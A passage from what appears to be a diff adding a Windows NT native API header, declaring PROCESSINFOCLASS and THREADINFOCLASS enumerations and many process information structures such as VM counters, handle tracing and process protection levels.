JOB_OBJECT_SET_SECURITY_ATTRIBUTES 0x0010 +#define JOB_OBJECT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1f) +#endif + +#define GDI_HANDLE_BUFFER_SIZE32 34 +#define GDI_HANDLE_BUFFER_SIZE64 60 + +#ifndef _WIN64 +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32 +#else +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64 +#endif + +typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE]; + +typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32]; +typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64]; + +//#define FLS_MAXIMUM_AVAILABLE 128 +#define TLS_MINIMUM_AVAILABLE 64 +#define TLS_EXPANSION_SLOTS 1024 + +// symbols +typedef struct _PEB_LDR_DATA +{ + ULONG Length; + BOOLEAN Initialized; + HANDLE SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID EntryInProgress; + BOOLEAN ShutdownInProgress; + HANDLE ShutdownThreadId; +} PEB_LDR_DATA, *PPEB_LDR_DATA; + +typedef struct _INITIAL_TEB +{ + struct + { + PVOID OldStackBase; + PVOID OldStackLimit; + } OldInitialTeb; + PVOID StackBase; + PVOID StackLimit; + PVOID StackAllocationBase; +} INITIAL_TEB, *PINITIAL_TEB; + +typedef struct _WOW64_PROCESS +{ + PVOID Wow64; +} WOW64_PROCESS, *PWOW64_PROCESS; + +#include + +#if (PHNT_MODE != PHNT_MODE_KERNEL) +typedef enum _PROCESSINFOCLASS +{ + ProcessBasicInformation, // q: PROCESS_BASIC_INFORMATION, PROCESS_EXTENDED_BASIC_INFORMATION + ProcessQuotaLimits, // qs: QUOTA_LIMITS, QUOTA_LIMITS_EX + ProcessIoCounters, // q: IO_COUNTERS + ProcessVmCounters, // q: VM_COUNTERS, VM_COUNTERS_EX, VM_COUNTERS_EX2 + ProcessTimes, // q: KERNEL_USER_TIMES + ProcessBasePriority, // s: KPRIORITY + ProcessRaisePriority, // s: ULONG + ProcessDebugPort, // q: HANDLE + ProcessExceptionPort, // s: PROCESS_EXCEPTION_PORT + ProcessAccessToken, // s: PROCESS_ACCESS_TOKEN + ProcessLdtInformation, // qs: PROCESS_LDT_INFORMATION // 10 + ProcessLdtSize, // s: PROCESS_LDT_SIZE + ProcessDefaultHardErrorMode, // qs: ULONG + ProcessIoPortHandlers, // (kernel-mode only) + ProcessPooledUsageAndLimits, // q: POOLED_USAGE_AND_LIMITS + ProcessWorkingSetWatch, // q: PROCESS_WS_WATCH_INFORMATION[]; s: void + ProcessUserModeIOPL, + ProcessEnableAlignmentFaultFixup, // s: BOOLEAN + ProcessPriorityClass, // qs: PROCESS_PRIORITY_CLASS + ProcessWx86Information, + ProcessHandleCount, // q: ULONG, PROCESS_HANDLE_INFORMATION // 20 + ProcessAffinityMask, // s: KAFFINITY + ProcessPriorityBoost, // qs: ULONG + ProcessDeviceMap, // qs: PROCESS_DEVICEMAP_INFORMATION, PROCESS_DEVICEMAP_INFORMATION_EX + ProcessSessionInformation, // q: PROCESS_SESSION_INFORMATION + ProcessForegroundInformation, // s: PROCESS_FOREGROUND_BACKGROUND + ProcessWow64Information, // q: ULONG_PTR + ProcessImageFileName, // q: UNICODE_STRING + ProcessLUIDDeviceMapsEnabled, // q: ULONG + ProcessBreakOnTermination, // qs: ULONG + ProcessDebugObjectHandle, // q: HANDLE // 30 + ProcessDebugFlags, // qs: ULONG + ProcessHandleTracing, // q: PROCESS_HANDLE_TRACING_QUERY; s: size 0 disables, otherwise enables + ProcessIoPriority, // qs: IO_PRIORITY_HINT + ProcessExecuteFlags, // qs: ULONG + ProcessResourceManagement, // ProcessTlsInformation // PROCESS_TLS_INFORMATION + ProcessCookie, // q: ULONG + ProcessImageInformation, // q: SECTION_IMAGE_INFORMATION + ProcessCycleTime, // q: PROCESS_CYCLE_TIME_INFORMATION // since VISTA + ProcessPagePriority, // q: PAGE_PRIORITY_INFORMATION + ProcessInstrumentationCallback, // qs: PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION // 40 + ProcessThreadStackAllocation, // s: PROCESS_STACK_ALLOCATION_INFORMATION, PROCESS_STACK_ALLOCATION_INFORMATION_EX + ProcessWorkingSetWatchEx, // q: PROCESS_WS_WATCH_INFORMATION_EX[] + ProcessImageFileNameWin32, // q: UNICODE_STRING + ProcessImageFileMapping, // q: HANDLE (input) + ProcessAffinityUpdateMode, // qs: PROCESS_AFFINITY_UPDATE_MODE + ProcessMemoryAllocationMode, // qs: PROCESS_MEMORY_ALLOCATION_MODE + ProcessGroupInformation, // q: USHORT[] + ProcessTokenVirtualizationEnabled, // s: ULONG + ProcessConsoleHostProcess, // q: ULONG_PTR // ProcessOwnerInformation + ProcessWindowInformation, // q: PROCESS_WINDOW_INFORMATION // 50 + ProcessHandleInformation, // q: PROCESS_HANDLE_SNAPSHOT_INFORMATION // since WIN8 + ProcessMitigationPolicy, // s: PROCESS_MITIGATION_POLICY_INFORMATION + ProcessDynamicFunctionTableInformation, + ProcessHandleCheckingMode, // qs: ULONG; s: 0 disables, otherwise enables + ProcessKeepAliveCount, // q: PROCESS_KEEPALIVE_COUNT_INFORMATION + ProcessRevokeFileHandles, // s: PROCESS_REVOKE_FILE_HANDLES_INFORMATION + ProcessWorkingSetControl, // s: PROCESS_WORKING_SET_CONTROL + ProcessHandleTable, // q: ULONG[] // since WINBLUE + ProcessCheckStackExtentsMode, + ProcessCommandLineInformation, // q: UNICODE_STRING // 60 + ProcessProtectionInformation, // q: PS_PROTECTION + ProcessMemoryExhaustion, // PROCESS_MEMORY_EXHAUSTION_INFO // since THRESHOLD + ProcessFaultInformation, // PROCESS_FAULT_INFORMATION + ProcessTelemetryIdInformation, // PROCESS_TELEMETRY_ID_INFORMATION + ProcessCommitReleaseInformation, // PROCESS_COMMIT_RELEASE_INFORMATION + ProcessDefaultCpuSetsInformation, + ProcessAllowedCpuSetsInformation, + ProcessSubsystemProcess, + ProcessJobMemoryInformation, // PROCESS_JOB_MEMORY_INFO + ProcessInPrivate, // since THRESHOLD2 // 70 + ProcessRaiseUMExceptionOnInvalidHandleClose, // qs: ULONG; s: 0 disables, otherwise enables + ProcessIumChallengeResponse, + ProcessChildProcessInformation, // PROCESS_CHILD_PROCESS_INFORMATION + ProcessHighGraphicsPriorityInformation, + ProcessSubsystemInformation, // q: SUBSYSTEM_INFORMATION_TYPE // since REDSTONE2 + ProcessEnergyValues, // PROCESS_ENERGY_VALUES, PROCESS_EXTENDED_ENERGY_VALUES + ProcessActivityThrottleState, // PROCESS_ACTIVITY_THROTTLE_STATE + ProcessActivityThrottlePolicy, // PROCESS_ACTIVITY_THROTTLE_POLICY + ProcessWin32kSyscallFilterInformation, + ProcessDisableSystemAllowedCpuSets, // 80 + ProcessWakeInformation, // PROCESS_WAKE_INFORMATION + ProcessEnergyTrackingState, // PROCESS_ENERGY_TRACKING_STATE + ProcessManageWritesToExecutableMemory, // MANAGE_WRITES_TO_EXECUTABLE_MEMORY // since REDSTONE3 + ProcessCaptureTrustletLiveDump, + ProcessTelemetryCoverage, + ProcessEnclaveInformation, + ProcessEnableReadWriteVmLogging, // PROCESS_READWRITEVM_LOGGING_INFORMATION + ProcessUptimeInformation, // PROCESS_UPTIME_INFORMATION + ProcessImageSection, // q: HANDLE + ProcessDebugAuthInformation, // since REDSTONE4 // 90 + ProcessSystemResourceManagement, // PROCESS_SYSTEM_RESOURCE_MANAGEMENT + ProcessSequenceNumber, // q: ULONGLONG + ProcessLoaderDetour, // since REDSTONE5 + ProcessSecurityDomainInformation, // PROCESS_SECURITY_DOMAIN_INFORMATION + ProcessCombineSecurityDomainsInformation, // PROCESS_COMBINE_SECURITY_DOMAINS_INFORMATION + ProcessEnableLogging, // PROCESS_LOGGING_INFORMATION + ProcessLeapSecondInformation, // PROCESS_LEAP_SECOND_INFORMATION + ProcessFiberShadowStackAllocation, // PROCESS_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION // since 19H1 + ProcessFreeFiberShadowStackAllocation, // PROCESS_FREE_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION + MaxProcessInfoClass +} PROCESSINFOCLASS; +#endif + +#if (PHNT_MODE != PHNT_MODE_KERNEL) +typedef enum _THREADINFOCLASS +{ + ThreadBasicInformation, // q: THREAD_BASIC_INFORMATION + ThreadTimes, // q: KERNEL_USER_TIMES + ThreadPriority, // s: KPRIORITY + ThreadBasePriority, // s: LONG + ThreadAffinityMask, // s: KAFFINITY + ThreadImpersonationToken, // s: HANDLE + ThreadDescriptorTableEntry, // q: DESCRIPTOR_TABLE_ENTRY (or WOW64_DESCRIPTOR_TABLE_ENTRY) + ThreadEnableAlignmentFaultFixup, // s: BOOLEAN + ThreadEventPair, + ThreadQuerySetWin32StartAddress, // q: PVOID + ThreadZeroTlsCell, // 10 + ThreadPerformanceCount, // q: LARGE_INTEGER + ThreadAmILastThread, // q: ULONG + ThreadIdealProcessor, // s: ULONG + ThreadPriorityBoost, // qs: ULONG + ThreadSetTlsArrayAddress, + ThreadIsIoPending, // q: ULONG + ThreadHideFromDebugger, // s: void + ThreadBreakOnTermination, // qs: ULONG + ThreadSwitchLegacyState, + ThreadIsTerminated, // q: ULONG // 20 + ThreadLastSystemCall, // q: THREAD_LAST_SYSCALL_INFORMATION + ThreadIoPriority, // qs: IO_PRIORITY_HINT + ThreadCycleTime, // q: THREAD_CYCLE_TIME_INFORMATION + ThreadPagePriority, // q: ULONG + ThreadActualBasePriority, + ThreadTebInformation, // q: THREAD_TEB_INFORMATION (requires THREAD_GET_CONTEXT + THREAD_SET_CONTEXT) + ThreadCSwitchMon, + ThreadCSwitchPmu, + ThreadWow64Context, // q: WOW64_CONTEXT + ThreadGroupInformation, // q: GROUP_AFFINITY // 30 + ThreadUmsInformation, // q: THREAD_UMS_INFORMATION + ThreadCounterProfiling, + ThreadIdealProcessorEx, // q: PROCESSOR_NUMBER + ThreadCpuAccountingInformation, // since WIN8 + ThreadSuspendCount, // since WINBLUE + ThreadHeterogeneousCpuPolicy, // q: KHETERO_CPU_POLICY // since THRESHOLD + ThreadContainerId, // q: GUID + ThreadNameInformation, // qs: THREAD_NAME_INFORMATION + ThreadSelectedCpuSets, + ThreadSystemThreadInformation, // q: SYSTEM_THREAD_INFORMATION // 40 + ThreadActualGroupAffinity, // since THRESHOLD2 + ThreadDynamicCodePolicyInfo, + ThreadExplicitCaseSensitivity, // qs: ULONG; s: 0 disables, otherwise enables + ThreadWorkOnBehalfTicket, + ThreadSubsystemInformation, // q: SUBSYSTEM_INFORMATION_TYPE // since REDSTONE2 + ThreadDbgkWerReportActive, + ThreadAttachContainer, + ThreadManageWritesToExecutableMemory, // MANAGE_WRITES_TO_EXECUTABLE_MEMORY // since REDSTONE3 + ThreadPowerThrottlingState, // THREAD_POWER_THROTTLING_STATE + ThreadWorkloadClass, // THREAD_WORKLOAD_CLASS // since REDSTONE5 // 50 + MaxThreadInfoClass +} THREADINFOCLASS; +#endif + +#if (PHNT_MODE != PHNT_MODE_KERNEL) +// Use with both ProcessPagePriority and ThreadPagePriority +typedef struct _PAGE_PRIORITY_INFORMATION +{ + ULONG PagePriority; +} PAGE_PRIORITY_INFORMATION, *PPAGE_PRIORITY_INFORMATION; +#endif + +// Process information structures + +#if (PHNT_MODE != PHNT_MODE_KERNEL) + +typedef struct _PROCESS_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PPEB PebBaseAddress; + ULONG_PTR AffinityMask; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; +} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION; + +typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION +{ + SIZE_T Size; // set to sizeof structure on input + PROCESS_BASIC_INFORMATION BasicInfo; + union + { + ULONG Flags; + struct + { + ULONG IsProtectedProcess : 1; + ULONG IsWow64Process : 1; + ULONG IsProcessDeleting : 1; + ULONG IsCrossSessionCreate : 1; + ULONG IsFrozen : 1; + ULONG IsBackground : 1; + ULONG IsStronglyNamed : 1; + ULONG IsSecureProcess : 1; + ULONG IsSubsystemProcess : 1; + ULONG SpareBits : 23; + }; + }; +} PROCESS_EXTENDED_BASIC_INFORMATION, *PPROCESS_EXTENDED_BASIC_INFORMATION; + +typedef struct _VM_COUNTERS +{ + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; +} VM_COUNTERS, *PVM_COUNTERS; + +typedef struct _VM_COUNTERS_EX +{ + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivateUsage; +} VM_COUNTERS_EX, *PVM_COUNTERS_EX; + +// private +typedef struct _VM_COUNTERS_EX2 +{ + VM_COUNTERS_EX CountersEx; + SIZE_T PrivateWorkingSetSize; + SIZE_T SharedCommitUsage; +} VM_COUNTERS_EX2, *PVM_COUNTERS_EX2; + +typedef struct _KERNEL_USER_TIMES +{ + LARGE_INTEGER CreateTime; + LARGE_INTEGER ExitTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; +} KERNEL_USER_TIMES, *PKERNEL_USER_TIMES; + +typedef struct _POOLED_USAGE_AND_LIMITS +{ + SIZE_T PeakPagedPoolUsage; + SIZE_T PagedPoolUsage; + SIZE_T PagedPoolLimit; + SIZE_T PeakNonPagedPoolUsage; + SIZE_T NonPagedPoolUsage; + SIZE_T NonPagedPoolLimit; + SIZE_T PeakPagefileUsage; + SIZE_T PagefileUsage; + SIZE_T PagefileLimit; +} POOLED_USAGE_AND_LIMITS, *PPOOLED_USAGE_AND_LIMITS; + +#define PROCESS_EXCEPTION_PORT_ALL_STATE_BITS 0x00000003 +#define PROCESS_EXCEPTION_PORT_ALL_STATE_FLAGS ((ULONG_PTR)((1UL << PROCESS_EXCEPTION_PORT_ALL_STATE_BITS) - 1)) + +typedef struct _PROCESS_EXCEPTION_PORT +{ + _In_ HANDLE ExceptionPortHandle; // Handle to the exception port. No particular access required. + _Inout_ ULONG StateFlags; // Miscellaneous state flags to be cached along with the exception port in the kernel. +} PROCESS_EXCEPTION_PORT, *PPROCESS_EXCEPTION_PORT; + +typedef struct _PROCESS_ACCESS_TOKEN +{ + HANDLE Token; // needs TOKEN_ASSIGN_PRIMARY access + HANDLE Thread; // handle to initial/only thread; needs THREAD_QUERY_INFORMATION access +} PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN; + +typedef struct _PROCESS_LDT_INFORMATION +{ + ULONG Start; + ULONG Length; + LDT_ENTRY LdtEntries[1]; +} PROCESS_LDT_INFORMATION, *PPROCESS_LDT_INFORMATION; + +typedef struct _PROCESS_LDT_SIZE +{ + ULONG Length; +} PROCESS_LDT_SIZE, *PPROCESS_LDT_SIZE; + +typedef struct _PROCESS_WS_WATCH_INFORMATION +{ + PVOID FaultingPc; + PVOID FaultingVa; +} PROCESS_WS_WATCH_INFORMATION, *PPROCESS_WS_WATCH_INFORMATION; + +#endif + +// psapi:PSAPI_WS_WATCH_INFORMATION_EX +typedef struct _PROCESS_WS_WATCH_INFORMATION_EX +{ + PROCESS_WS_WATCH_INFORMATION BasicInfo; + ULONG_PTR FaultingThreadId; + ULONG_PTR Flags; +} PROCESS_WS_WATCH_INFORMATION_EX, *PPROCESS_WS_WATCH_INFORMATION_EX; + +#define PROCESS_PRIORITY_CLASS_UNKNOWN 0 +#define PROCESS_PRIORITY_CLASS_IDLE 1 +#define PROCESS_PRIORITY_CLASS_NORMAL 2 +#define PROCESS_PRIORITY_CLASS_HIGH 3 +#define PROCESS_PRIORITY_CLASS_REALTIME 4 +#define PROCESS_PRIORITY_CLASS_BELOW_NORMAL 5 +#define PROCESS_PRIORITY_CLASS_ABOVE_NORMAL 6 + +typedef struct _PROCESS_PRIORITY_CLASS +{ + BOOLEAN Foreground; + UCHAR PriorityClass; +} PROCESS_PRIORITY_CLASS, *PPROCESS_PRIORITY_CLASS; + +typedef struct _PROCESS_FOREGROUND_BACKGROUND +{ + BOOLEAN Foreground; +} PROCESS_FOREGROUND_BACKGROUND, *PPROCESS_FOREGROUND_BACKGROUND; + +#if (PHNT_MODE != PHNT_MODE_KERNEL) + +typedef struct _PROCESS_DEVICEMAP_INFORMATION +{ + union + { + struct + { + HANDLE DirectoryHandle; + } Set; + struct + { + ULONG DriveMap; + UCHAR DriveType[32]; + } Query; + }; +} PROCESS_DEVICEMAP_INFORMATION, *PPROCESS_DEVICEMAP_INFORMATION; + +#define PROCESS_LUID_DOSDEVICES_ONLY 0x00000001 + +typedef struct _PROCESS_DEVICEMAP_INFORMATION_EX +{ + union + { + struct + { + HANDLE DirectoryHandle; + } Set; + struct + { + ULONG DriveMap; + UCHAR DriveType[32]; + } Query; + }; + ULONG Flags; // PROCESS_LUID_DOSDEVICES_ONLY +} PROCESS_DEVICEMAP_INFORMATION_EX, *PPROCESS_DEVICEMAP_INFORMATION_EX; + +typedef struct _PROCESS_SESSION_INFORMATION +{ + ULONG SessionId; +} PROCESS_SESSION_INFORMATION, *PPROCESS_SESSION_INFORMATION; + +#define PROCESS_HANDLE_EXCEPTIONS_ENABLED 0x00000001 + +#define PROCESS_HANDLE_RAISE_EXCEPTION_ON_INVALID_HANDLE_CLOSE_DISABLED 0x00000000 +#define PROCESS_HANDLE_RAISE_EXCEPTION_ON_INVALID_HANDLE_CLOSE_ENABLED 0x00000001 + +typedef struct _PROCESS_HANDLE_TRACING_ENABLE +{ + ULONG Flags; +} PROCESS_HANDLE_TRACING_ENABLE, *PPROCESS_HANDLE_TRACING_ENABLE; + +#define PROCESS_HANDLE_TRACING_MAX_SLOTS 0x20000 + +typedef struct _PROCESS_HANDLE_TRACING_ENABLE_EX +{ + ULONG Flags; + ULONG TotalSlots; +} PROCESS_HANDLE_TRACING_ENABLE_EX, *PPROCESS_HANDLE_TRACING_ENABLE_EX; + +#define PROCESS_HANDLE_TRACING_MAX_STACKS 16 + +#define PROCESS_HANDLE_TRACE_TYPE_OPEN 1 +#define PROCESS_HANDLE_TRACE_TYPE_CLOSE 2 +#define PROCESS_HANDLE_TRACE_TYPE_BADREF 3 + +typedef struct _PROCESS_HANDLE_TRACING_ENTRY +{ + HANDLE Handle; + CLIENT_ID ClientId; + ULONG Type; + PVOID Stacks[PROCESS_HANDLE_TRACING_MAX_STACKS]; +} PROCESS_HANDLE_TRACING_ENTRY, *PPROCESS_HANDLE_TRACING_ENTRY; + +typedef struct _PROCESS_HANDLE_TRACING_QUERY +{ + HANDLE Handle; + ULONG TotalTraces; + PROCESS_HANDLE_TRACING_ENTRY HandleTrace[1]; +} PROCESS_HANDLE_TRACING_QUERY, *PPROCESS_HANDLE_TRACING_QUERY; + +#endif + +// private +typedef struct _THREAD_TLS_INFORMATION +{ + ULONG Flags; + PVOID NewTlsData; + PVOID OldTlsData; + HANDLE ThreadId; +} THREAD_TLS_INFORMATION, *PTHREAD_TLS_INFORMATION; + +// private +typedef enum _PROCESS_TLS_INFORMATION_TYPE +{ + ProcessTlsReplaceIndex, + ProcessTlsReplaceVector, + MaxProcessTlsOperation +} PROCESS_TLS_INFORMATION_TYPE, *PPROCESS_TLS_INFORMATION_TYPE; + +// private +typedef struct _PROCESS_TLS_INFORMATION +{ + ULONG Flags; + ULONG OperationType; + ULONG ThreadDataCount; + ULONG TlsIndex; + ULONG PreviousCount; + THREAD_TLS_INFORMATION ThreadData[1]; +} PROCESS_TLS_INFORMATION, *PPROCESS_TLS_INFORMATION; + +// private +typedef struct _PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION +{ + ULONG Version; + ULONG Reserved; + PVOID Callback; +} PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION, *PPROCESS_INSTRUMENTATION_CALLBACK_INFORMATION; + +// private +typedef struct _PROCESS_STACK_ALLOCATION_INFORMATION +{ + SIZE_T ReserveSize; + SIZE_T ZeroBits; + PVOID StackBase; +} PROCESS_STACK_ALLOCATION_INFORMATION, *PPROCESS_STACK_ALLOCATION_INFORMATION; + +// private +typedef struct _PROCESS_STACK_ALLOCATION_INFORMATION_EX +{ + ULONG PreferredNode; + ULONG Reserved0; + ULONG Reserved1; + ULONG Reserved2; + PROCESS_STACK_ALLOCATION_INFORMATION AllocInfo; +} PROCESS_STACK_ALLOCATION_INFORMATION_EX, *PPROCESS_STACK_ALLOCATION_INFORMATION_EX; + +// private +typedef union _PROCESS_AFFINITY_UPDATE_MODE +{ + ULONG Flags; + struct + { + ULONG EnableAutoUpdate : 1; + ULONG Permanent : 1; + ULONG Reserved : 30; + }; +} PROCESS_AFFINITY_UPDATE_MODE, *PPROCESS_AFFINITY_UPDATE_MODE; + +// private +typedef union _PROCESS_MEMORY_ALLOCATION_MODE +{ + ULONG Flags; + struct + { + ULONG TopDown : 1; + ULONG Reserved : 31; + }; +} PROCESS_MEMORY_ALLOCATION_MODE, *PPROCESS_MEMORY_ALLOCATION_MODE; + +// private +typedef struct _PROCESS_HANDLE_INFORMATION +{ + ULONG HandleCount; + ULONG HandleCountHighWatermark; +} PROCESS_HANDLE_INFORMATION, *PPROCESS_HANDLE_INFORMATION; + +// private +typedef struct _PROCESS_CYCLE_TIME_INFORMATION +{ + ULONGLONG AccumulatedCycles; + ULONGLONG CurrentCycleCount; +} PROCESS_CYCLE_TIME_INFORMATION, *PPROCESS_CYCLE_TIME_INFORMATION; + +// private +typedef struct _PROCESS_WINDOW_INFORMATION +{ + ULONG WindowFlags; + USHORT WindowTitleLength; + WCHAR WindowTitle[1]; +} PROCESS_WINDOW_INFORMATION, *PPROCESS_WINDOW_INFORMATION; + +// private +typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO +{ + HANDLE HandleValue; + ULONG_PTR HandleCount; + ULONG_PTR PointerCount; + ULONG GrantedAccess; + ULONG ObjectTypeIndex; + ULONG HandleAttributes; + ULONG Reserved; +} PROCESS_HANDLE_TABLE_ENTRY_INFO, *PPROCESS_HANDLE_TABLE_ENTRY_INFO; + +// private +typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION +{ + ULONG_PTR NumberOfHandles; + ULONG_PTR Reserved; + PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[1]; +} PROCESS_HANDLE_SNAPSHOT_INFORMATION, *PPROCESS_HANDLE_SNAPSHOT_INFORMATION; + +#if (PHNT_MODE != PHNT_MODE_KERNEL) + +// private +typedef struct _PROCESS_MITIGATION_POLICY_INFORMATION +{ + PROCESS_MITIGATION_POLICY Policy; + union + { + PROCESS_MITIGATION_ASLR_POLICY ASLRPolicy; + PROCESS_MITIGATION_STRICT_HANDLE_CHECK_POLICY StrictHandleCheckPolicy; + PROCESS_MITIGATION_SYSTEM_CALL_DISABLE_POLICY SystemCallDisablePolicy; + PROCESS_MITIGATION_EXTENSION_POINT_DISABLE_POLICY ExtensionPointDisablePolicy; + PROCESS_MITIGATION_DYNAMIC_CODE_POLICY DynamicCodePolicy; + PROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY ControlFlowGuardPolicy; + PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY SignaturePolicy; + PROCESS_MITIGATION_FONT_DISABLE_POLICY FontDisablePolicy; + PROCESS_MITIGATION_IMAGE_LOAD_POLICY ImageLoadPolicy; + PROCESS_MITIGATION_SYSTEM_CALL_FILTER_POLICY SystemCallFilterPolicy; + PROCESS_MITIGATION_PAYLOAD_RESTRICTION_POLICY PayloadRestrictionPolicy; + PROCESS_MITIGATION_CHILD_PROCESS_POLICY ChildProcessPolicy; + PROCESS_MITIGATION_SIDE_CHANNEL_ISOLATION_POLICY SideChannelIsolationPolicy; + }; +} PROCESS_MITIGATION_POLICY_INFORMATION, *PPROCESS_MITIGATION_POLICY_INFORMATION; + +typedef struct _PROCESS_KEEPALIVE_COUNT_INFORMATION +{ + ULONG WakeCount; + ULONG NoWakeCount; +} PROCESS_KEEPALIVE_COUNT_INFORMATION, *PPROCESS_KEEPALIVE_COUNT_INFORMATION; + +typedef struct _PROCESS_REVOKE_FILE_HANDLES_INFORMATION +{ + UNICODE_STRING TargetDevicePath; +} PROCESS_REVOKE_FILE_HANDLES_INFORMATION, *PPROCESS_REVOKE_FILE_HANDLES_INFORMATION; + +// begin_private + +typedef enum _PROCESS_WORKING_SET_OPERATION +{ + ProcessWorkingSetSwap, + ProcessWorkingSetEmpty, + ProcessWorkingSetOperationMax +} PROCESS_WORKING_SET_OPERATION; + +typedef struct _PROCESS_WORKING_SET_CONTROL +{ + ULONG Version; + PROCESS_WORKING_SET_OPERATION Operation; + ULONG Flags; +} PROCESS_WORKING_SET_CONTROL, *PPROCESS_WORKING_SET_CONTROL; + +typedef enum _PS_PROTECTED_TYPE +{ + PsProtectedTypeNone, + PsProtectedTypeProtectedLight, + PsProtectedTypeProtected, + PsProtectedTypeMax +} PS_PROTECTED_TYPE; + +typedef enum _PS_PROTECTED_SIGNER +{ + PsProtectedSignerNone, + PsProtectedSignerAuthenticode, + PsProtectedSignerCodeGen, + PsProtectedSignerAntimalware, + PsProtectedSignerLsa, + PsProtectedSignerWindows, + PsProtectedSignerWinTcb, + PsProtectedSignerWinSystem, + PsProtectedSignerApp, + PsProtectedSignerMax +} PS_PROTECTED_SIGNER; + +#define PS_PROTECTED_SIGNER_MASK 0xFF +#define PS_PROTECTED_AUDIT_MASK 0x08 +#define PS_PROTECTED_TYPE_MASK 0x07 + +// vProtectionLevel.Level = PsProtectedValue(PsProtectedSignerCodeGen, FALSE, PsProtectedTypeProtectedLight) +#define PsProtectedValue(aSigner, aAudit, aType) ( \ + ((aSigner & PS_PROTECTED_SIGNER_MASK) << 4) | \ + ((aAudit & PS_PROTECTED_AUDIT_MASK) << 3) | \ + (aType & PS_PROTECTED_TYPE_MASK)\ + ) + +// InitializePsProtection(&vProtectionLevel, PsProtectedSignerCodeGen, FALSE, PsProtectedTypeProtectedLight) +#define InitializePsProtection(aProtectionLevelPtr, aSigner, aAudit, aType) { \ + (aProtectionLevelPtr)->Signer = aSigner; \ + (aProtectionLevelPtr)->Audit = aAudit; \ + (aProtectionLevelPtr)->Type = aType; \ + } + +typedef struct _PS_PROTECTION +{ + union + { + UCHAR Level; + struct + { + UCHAR Type : 3; + UCHAR Audit : 1; + UCHAR Signer : 4; + }; + }; +} PS_PROTECTION, *PPS_PROTECTION; + +typedef struct _PROCESS_FAULT_INFORMATION +{ + ULONG FaultFlags; + ULONG AdditionalInfo; +} PROCESS_FAULT_INFORMATION, *PPROCESS_FAULT_INFORMATION; + +typedef struct _PROCESS_TELEMETRY_ID_INFORMATION +{ + ULONG HeaderSize; + ULONG ProcessId; + ULONGLONG ProcessStartKey; + ULONGLONG CreateTime; + ULONGLONG CreateInterruptTime; + ULONGLONG CreateUnbiasedInterruptTime; + ULONGLONG ProcessSequenceNumber; + ULONGLONG SessionCreateTime; + ULONG SessionId; + ULONG BootId; + ULONG ImageChecksum; + ULONG ImageTimeDateStamp; + ULONG UserSidOffset; + ULONG ImagePathOffset; + ULONG PackageNameOffset; + ULONG RelativeAppNameOffset; + ULONG CommandLineOffset; +} PROCESS_TELEMETRY_ID_INFORMATION, *PPROCESS_TELEMETRY_ID_INFORMATION; + +typedef struct _PROCESS_COMMIT_RELEASE_INFORMATION +{ + ULONG Version; + struct + { + ULONG Eligible : 1; + ULONG ReleaseRepurposedMemResetCommit : 1; + ULONG ForceReleaseMemResetCommit : 1; + ULONG Spare : 29; + }; + SIZE_T CommitDebt; + SIZE_T CommittedMemResetSize; + SIZE_T RepurposedMemResetSize; +} PROCESS_COMMIT_RELEASE_INFORMATION, *PPROCESS_COMMIT_RELEASE_INFORMATION; + +typedef struct _PROCESS_JOB_MEMORY_INFO +{ + ULONGLONG SharedCommitUsage; + ULONGLONG PrivateCommitUsage; + ULONGLONG PeakPrivateCommitUsage; + ULONGLONG PrivateCommitLimit; + ULONGLONG TotalCommitLimit; +} PROCESS_JOB_MEMORY_INFO, *PPROCESS_JOB_MEMORY_INFO; + +typedef struct _PROCESS_CHILD_PROCESS_INFORMATION +{ + BOOLEAN ProhibitChildProcesses; + //BOOLEAN EnableAutomaticOverride; // REDSTONE2 + BOOLEAN AlwaysAllowSecureChildProcess; // REDSTONE3 + BOOLEAN AuditProhibitChildProcesses; +} PROCESS_CHILD_PROCESS_INFORMATION, *PPROCESS_CHILD_PROCESS_INFORMATION; + +typedef struct _PROCESS_WAKE_INFORMATION +{ + ULONGLONG NotificationChannel; + ULONG WakeCounters[7]; + struct _JOBOBJECT_WAKE_FILTER* WakeFilter; +} PROCESS_WAKE_INFORMATION, *PPROCESS_WAKE_INFORMATION; + +typedef struct _PROCESS_ENERGY_TRACKING_STATE +{ + ULONG StateUpdateMask; + ULONG StateDesiredValue; + ULONG StateSequence; + ULONG UpdateTag : 1; + WCHAR Tag[64]; 